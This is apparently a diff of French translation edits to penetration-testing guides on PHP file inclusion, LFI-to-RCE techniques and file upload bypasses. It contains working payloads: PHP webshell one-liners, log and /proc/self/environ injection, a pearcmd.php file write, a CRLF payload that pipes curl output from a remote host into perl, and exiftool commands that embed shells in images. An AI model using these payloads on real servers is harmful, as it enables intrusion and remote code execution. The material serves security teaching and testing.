> [!WARNING]
> La partie "php://filter" est insensible à la casse
### Utilisation des filtres php comme oracle pour lire des fichiers arbitraires
### Utiliser les filtres php comme oracle pour lire des fichiers arbitraires
[**Dans ce post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle), une technique est proposée pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une **exfiltration booléenne du fichier (caractère par caractère) utilisant des filtres php** comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour que php génère une exception.
[**Dans ce post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle), une technique est proposée pour lire un fichier local sans avoir le retour de la sortie du serveur. Cette technique est basée sur une **exfiltration booléenne du fichier (caractère par caractère) en utilisant des filtres php** comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour que php génère une exception.
Dans le post original, vous pouvez trouver une explication détaillée de la technique, mais voici un résumé rapide :
@ -278,12 +278,12 @@ Dans le post original, vous pouvez trouver une explication détaillée de la tec
- Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas un hexadécimal**, donc nous pouvons savoir si le premier caractère est hexadécimal.
- Cela, combiné avec le précédent (et d'autres filtres selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand nous faisons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Parce que si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale fera que php génère une erreur.
- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un `a` par exemple, car si nous appliquons 6 de ce codec a->b->c->d->e->f->g, la lettre n'est plus un caractère hexadécimal, donc dechunk ne l'a pas supprimée et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hexadécimale).
- Lorsque le caractère initial est un nombre, il est nécessaire de l'encoder en base64 et de leak les 2 premières lettres pour leak le nombre.
- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filtres de mémoire d'ordre comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, il est possible de changer l'ordre des caractères et d'obtenir en première position d'autres lettres du texte.
- Et afin de pouvoir obtenir **davantage de données**, l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, d'appliquer **UCS-4LE** pour le faire **pivoter avec les 2 octets suivants**, et de **supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à atteindre le bit désiré à leak.
- En utilisant d'autres transformations comme **rot13** au début, il est possible de fuir d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres vers la plage hexadécimale).
- Lorsque le caractère initial est un nombre, il est nécessaire de l'encoder en base64 et de fuir les 2 premières lettres pour fuir le nombre.
- Le problème final est de voir **comment fuir plus que la lettre initiale**. En utilisant des filtres de mémoire d'ordre comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, il est possible de changer l'ordre des caractères et d'obtenir en première position d'autres lettres du texte.
- Et afin de pouvoir obtenir **plus de données**, l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, d'appliquer **UCS-4LE** pour le faire **pivoter avec les 2 octets suivants**, et de **supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à atteindre le bit désiré à fuir.
Dans le post, un outil pour effectuer cela automatiquement a également été leaké : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Dans le post, un outil pour effectuer cela automatiquement a également été divulgué : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -356,7 +356,7 @@ Lors de l'exécution, un fichier nommé `test.phar` sera créé, qui pourrait po
Dans les cas où le LFI ne réalise que la lecture de fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, une exploitation d'une vulnérabilité de désérialisation pourrait être tentée. Cette vulnérabilité est associée à la lecture de fichiers utilisant le protocole `phar`.
Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers `.phar`, consultez le document lié ci-dessous :
Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers `.phar`, référez-vous au document lié ci-dessous :
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -372,9 +372,9 @@ Il était possible d'allouer des morceaux de tailles spécifiques en abusant de
### Plus de protocoles
Vérifiez d'autres [**protocoles possibles à inclure ici**](https://www.php.net/manual/en/wrappers.php)**:**
Vérifiez plus de [**protocoles à inclure ici**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une attaque d'inclusion de fichiers)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une attaque d'inclusion de fichiers)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accéder au système de fichiers local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accéder aux URL HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accéder aux URL FTP(s)
@ -444,9 +444,9 @@ Autres chemins de journaux possibles :
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Liste de mots pour le fuzzing : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
Fuzzing wordlist : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Par Email
### Via Email
**Envoyez un mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure dans le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
@ -457,7 +457,7 @@ Liste de mots pour le fuzzing : [https://github.com/danielmiessler/SecLists/tree
### Via /proc/self/environ
Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée dans le fichier /proc/self/environ
Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -483,7 +483,7 @@ Vérifiez si le site utilise la session PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
En PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
Dans PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -515,9 +515,9 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (aucun fichier nécessaire)
### Via php filters (no file needed)
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **les filtres php pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explique que vous pouvez utiliser **php filters pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
{{#ref}}
lfi2rce-via-php-filters.md
@ -531,9 +531,9 @@ lfi2rce-via-php-filters.md
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via le stockage de fichiers temporaires Nginx
### Via Nginx temp file storage
Si vous avez trouvé une **inclusion de fichier local** et que **Nginx** fonctionne devant PHP, vous pourriez être en mesure d'obtenir un RCE avec la technique suivante :
Si vous avez trouvé une **Local File Inclusion** et que **Nginx** fonctionne devant PHP, vous pourriez être en mesure d'obtenir RCE avec la technique suivante :
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -541,29 +541,29 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Si vous avez trouvé une **inclusion de fichier local** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez en abuser pour obtenir un RCE :
Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez en abuser pour obtenir RCE :
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via les téléchargements de fichiers temporaires sous Windows
### Via temp file uploads in Windows
Si vous avez trouvé une **inclusion de fichier local** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir un RCE :
Si vous avez trouvé une **Local File Inclusion** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir RCE :
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + arguments URL
### Via `pearcmd.php` + URL args
Comme [**expliqué dans ce post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), le script `/usr/local/lib/phppearcmd.php` existe par défaut dans les images docker php. De plus, il est possible de passer des arguments au script via l'URL car il est indiqué que si un paramètre d'URL n'a pas de `=`, il doit être utilisé comme argument.
Comme [**expliqué dans ce post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), le script `/usr/local/lib/phppearcmd.php` existe par défaut dans les images docker php. De plus, il est possible de passer des arguments au script via l'URL car il est indiqué que si un paramètre d'URL n'a pas de `=`, il doit être utilisé comme un argument.
La requête suivante crée un fichier dans `/tmp/hello.php` avec le contenu `<?=phpinfo()?>` :
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
L'abus suivant d'une vulnérabilité CRLF pour obtenir un RCE (depuis [**ici**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)) :
L'abus suivant d'une vulnérabilité CRLF pour obtenir un RCE (depuis [**ici**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -588,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via eternal waiting + bruteforce
Si vous pouvez abuser de la LFI pour **télécharger des fichiers temporaires** et faire **pendre** l'exécution PHP du serveur, vous pourriez alors **brute forcer les noms de fichiers pendant des heures** pour trouver le fichier temporaire :
Si vous pouvez abuser de la LFI pour **télécharger des fichiers temporaires** et faire **bloquer** l'exécution PHP du serveur, vous pourriez alors **brute forcer les noms de fichiers pendant des heures** pour trouver le fichier temporaire :
{{#ref}}
lfi2rce-via-eternal-waiting.md
@ -598,7 +598,7 @@ lfi2rce-via-eternal-waiting.md
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour provoquer cette erreur).
**Je ne sais pas comment cela peut être utile mais cela pourrait l'être.**\
**Je ne sais pas comment cela est utile mais cela pourrait l'être.**\
&#xNAN;_&#x45;ven si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP téléchargés sont supprimés._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

2
src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
View File

@ -10,7 +10,7 @@ Cela signifie qu'un appel tel que :
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Enverra une requête demandant http://attacker.com/file, puis le serveur pourrait répondre à la requête avec une réponse HTTP valide, garder la connexion ouverte et envoyer des données supplémentaires quelque temps plus tard qui seront également écrites dans le fichier.
Enverra une requête demandant http://attacker.com/file, puis le serveur peut répondre à la requête avec une réponse HTTP valide, garder la connexion ouverte et envoyer des données supplémentaires quelque temps plus tard qui seront également écrites dans le fichier.
Vous pouvez voir cette information dans cette partie du code php-src dans main/streams/cast.c :
```c

8
src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
View File

@ -39,7 +39,7 @@ Les **principaux problèmes** de cette technique sont :
- Par défaut, **seulement 20 fichiers** peuvent être téléchargés dans une **unique requête**.
- Le **nombre max de travailleurs parallèles** du serveur utilisé.
- Cette limite avec les précédentes peut faire durer cette attaque trop longtemps
- **Délai d'attente pour une requête PHP**. Idéalement, cela devrait être éternel ou tuer le processus PHP sans supprimer les fichiers temporaires téléchargés, sinon, cela sera également un problème
- **Délai d'attente pour une requête PHP**. Idéalement, cela devrait être éternel ou devrait tuer le processus PHP sans supprimer les fichiers temporaires téléchargés, sinon, cela sera également un problème
Alors, comment pouvez-vous **faire en sorte qu'un include PHP ne se termine jamais** ? Juste en incluant le fichier **`/sys/kernel/security/apparmor/revision`** (**non disponible dans les conteneurs Docker** malheureusement...).
@ -50,7 +50,7 @@ include("/sys/kernel/security/apparmor/revision");
```
## Apache2
Par défaut, Apache supporte **150 connexions simultanées**, suivant [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/), il est possible d'augmenter ce nombre jusqu'à 8000. Suivez cela pour utiliser PHP avec ce module : [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Par défaut, Apache supporte **150 connexions simultanées**, suivant [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) il est possible d'augmenter ce nombre jusqu'à 8000. Suivez cela pour utiliser PHP avec ce module : [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Par défaut, (comme je peux le voir dans mes tests), un **processus PHP peut durer éternellement**.
@ -72,11 +72,11 @@ Si le serveur Apache est amélioré et que nous pouvions abuser de **4000 connex
Si au lieu d'utiliser le mod php régulier pour apache pour exécuter des scripts PHP, la **page web utilise** **PHP-FMP** (cela améliore l'efficacité de la page web, donc il est courant de le trouver), il y a autre chose qui peut être fait pour améliorer la technique.
PHP-FMP permet de **configurer** le **paramètre** **`request_terminate_timeout`** dans **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
Ce paramètre indique le nombre maximum de secondes **quand** **la requête à PHP doit se terminer** (infini par défaut, mais **30s si le param est décommenté**). Lorsqu'une requête est traitée par PHP pendant le nombre de secondes indiqué, elle est **tuée**. Cela signifie que si la requête était en train de télécharger des fichiers temporaires, parce que le **traitement PHP a été arrêté**, ces **fichiers ne seront pas supprimés**. Par conséquent, si vous pouvez faire durer une requête ce temps, vous pouvez **générer des milliers de fichiers temporaires** qui ne seront pas supprimés, ce qui **accélérera le processus de les trouver** et réduit la probabilité d'un DoS pour la plateforme en consommant toutes les connexions.
Ce paramètre indique le nombre maximum de secondes **quand** **la requête à PHP doit se terminer** (infini par défaut, mais **30s si le param est décommenté**). Lorsqu'une requête est traitée par PHP pendant le nombre de secondes indiqué, elle est **tuée**. Cela signifie que si la requête téléchargeait des fichiers temporaires, parce que le **traitement PHP a été arrêté**, ces **fichiers ne seront pas supprimés**. Par conséquent, si vous pouvez faire durer une requête ce temps, vous pouvez **générer des milliers de fichiers temporaires** qui ne seront pas supprimés, ce qui **accélérera le processus de les trouver** et réduit la probabilité d'un DoS à la plateforme en consommant toutes les connexions.
Donc, pour **éviter le DoS**, supposons qu'un **attaquant n'utilisera que 100 connexions** en même temps et que le temps de traitement maximum par **php-fmp** (`request_terminate_timeout`**)** est **30s**. Par conséquent, le nombre de **fichiers temporaires** qui peuvent être générés **par seconde** est `100*20/30 = 66.67`.
Ensuite, pour générer **10000 fichiers**, un attaquant aurait besoin de : **`10000/66.67 = 150s`** (pour générer **100000 fichiers**, le temps serait **25min**).
Ensuite, pour générer **10000 fichiers**, un attaquant aurait besoin de : **`10000/66.67 = 150s`** (pour générer **100000 fichiers**, le temps serait de **25min**).
Ensuite, l'attaquant pourrait utiliser ces **100 connexions** pour effectuer une **recherche brute-force**. \*\*\*\* Supposant une vitesse de 300 req/s, le temps nécessaire pour exploiter cela est le suivant :

2
src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md
View File

@ -33,7 +33,7 @@ def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
## Laboratoires
## Labs
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
- [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)

8
src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View File

@ -4,7 +4,7 @@
## Intro
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **les filtres php pour générer un contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer un code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explique que vous pouvez utiliser **des filtres php pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
Fondamentalement, l'objectif du script est de **générer une chaîne Base64** au **début** du fichier qui sera **finalement décodée** fournissant la charge utile souhaitée qui sera **interprétée par `include`**.
@ -13,12 +13,12 @@ Les bases pour faire cela sont :
- `convert.iconv.UTF8.CSISO2022KR` ajoutera toujours `\x1b$)C` au début de la chaîne
- `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas des base64 valides. Il pose quelques problèmes s'il trouve des "=" inattendus, mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`.
La boucle pour générer un contenu arbitraire est :
La boucle pour générer du contenu arbitraire est :
1. ajouter `\x1b$)C` à notre chaîne comme décrit ci-dessus
2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intacte et convertit la partie que nous venons d'ajouter en une chaîne où le seul caractère base64 valide est la prochaine partie de notre code php encodé en base64
3. décoder en base64 et réencoder en base64 la chaîne, ce qui supprimera tout déchet entre les deux
4. Retourner à 1 si le base64 que nous voulons construire n'est pas encore terminé
4. Revenir à 1 si le base64 que nous voulons construire n'est pas encore terminé
5. décoder en base64 pour obtenir notre code php
> [!WARNING]
@ -33,7 +33,7 @@ La boucle pour générer un contenu arbitraire est :
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(peut ajouter des suffixes)**
## Full script
## Script complet
```python
import requests

4
src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
View File

@ -9,7 +9,7 @@ Lorsqu'un moteur **PHP** reçoit une **requête POST** contenant des fichiers fo
> [!NOTE]
> **Alerte de sécurité : Les attaquants, conscients de l'emplacement des fichiers temporaires, pourraient exploiter une vulnérabilité d'inclusion de fichiers locaux pour exécuter du code en accédant au fichier pendant le téléchargement.**
Le défi pour un accès non autorisé réside dans la prévision du nom du fichier temporaire, qui est intentionnellement aléatoire.
Le défi pour un accès non autorisé réside dans la prédiction du nom du fichier temporaire, qui est intentionnellement aléatoire.
#### Exploitation sur les systèmes Windows
@ -23,7 +23,7 @@ De plus, le processus d'exploitation est simplifié sur les systèmes Windows. U
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```
Dans certaines situations, un masque plus spécifique (comme `php1<<` ou `phpA<<`) peut être nécessaire. On peut systématiquement essayer ces masques pour découvrir le fichier temporaire téléchargé.
Dans certaines situations, un masque plus spécifique (comme `php1<<` ou `phpA<<`) peut être requis. On peut systématiquement essayer ces masques pour découvrir le fichier temporaire téléchargé.
#### Exploitation sur les systèmes GNU/Linux

2
src/pentesting-web/file-inclusion/phar-deserialization.md
View File

@ -24,7 +24,7 @@ system($this->data);
filesize("phar://test.phar"); #The attacker can control this path
```
Vous pouvez créer un fichier **phar** qui, lorsqu'il est chargé, **exploite cette classe pour exécuter des commandes arbitraires** avec quelque chose comme :
Vous pouvez créer un fichier **phar** qui, une fois chargé, **abusé de cette classe pour exécuter des commandes arbitraires** avec quelque chose comme :
```php:create_phar.php
<?php

4
src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
View File

@ -4,7 +4,7 @@
## Informations de base
Si vous avez trouvé une **inclusion de fichier local** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si **`session.upload_progress.enabled`** est **`On`** et que vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**.
Si vous avez trouvé une **inclusion de fichier local** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si **`session.upload_progress.enabled`** est **`On`** et que vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **POST multipart**, PHP **activera la session pour vous**.
```bash
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
@ -18,7 +18,7 @@ $ ls -a /var/lib/php/sessions/
In the last example the session will contain the string blahblahblah
```
Notez qu'avec **`PHP_SESSION_UPLOAD_PROGRESS`**, vous pouvez **contrôler les données à l'intérieur de la session**, donc si vous incluez votre fichier de session, vous pouvez inclure une partie que vous contrôlez (un shellcode php par exemple).
Notez qu'avec **`PHP_SESSION_UPLOAD_PROGRESS`** vous pouvez **contrôler les données à l'intérieur de la session**, donc si vous incluez votre fichier de session, vous pouvez inclure une partie que vous contrôlez (un shellcode php par exemple).
> [!NOTE]
> Bien que la plupart des tutoriels sur Internet vous recommandent de définir `session.upload_progress.cleanup` sur `Off` à des fins de débogage. La valeur par défaut de `session.upload_progress.cleanup` dans PHP est toujours `On`. Cela signifie que votre progression de téléchargement dans la session sera nettoyée dès que possible. Donc, cela sera **Race Condition**.

26
src/pentesting-web/file-upload/README.md
View File

@ -44,16 +44,16 @@ Autres extensions utiles :
5. Ajoutez **une autre couche d'extensions** à la vérification précédente :
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Essayez de mettre l'**extension exec avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout ce qui a l'extension **_**.php**_**, mais** pas nécessairement se terminant par .php** exécutera du code) :
6. Essayez de mettre l'**extension exec avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout avec l'extension **_**.php**_**, mais** pas nécessairement se terminant par .php** exécutera du code) :
- _ex : file.php.png_
7. Utilisation de **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (par exemple, “file.asp::$data.”)
8. Essayez de briser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant est laissé. AAA<--SNIP-->AAA.php
8. Essayez de dépasser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant est laissé. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
# Linux maximum 255 octets
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png
# Téléchargez le fichier et vérifiez la réponse combien de caractères il permet. Disons 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png
# Téléchargez le fichier et vérifiez la réponse combien de caractères il autorise. Disons 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Créez le payload
@ -63,12 +63,12 @@ AAA<--SNIP 232 A-->AAA.php.png
### Contourner Content-Type, Magic Number, Compression & Redimensionnement
- Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête Content-Type** à : _image/png_, _text/plain_, application/octet-stream_
1. Liste de mots **Content-Type** : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduire le shell dans les **métadonnées** :\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou vous pourriez également **introduire le payload directement** dans une image :\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Si **la compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- Si **une compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
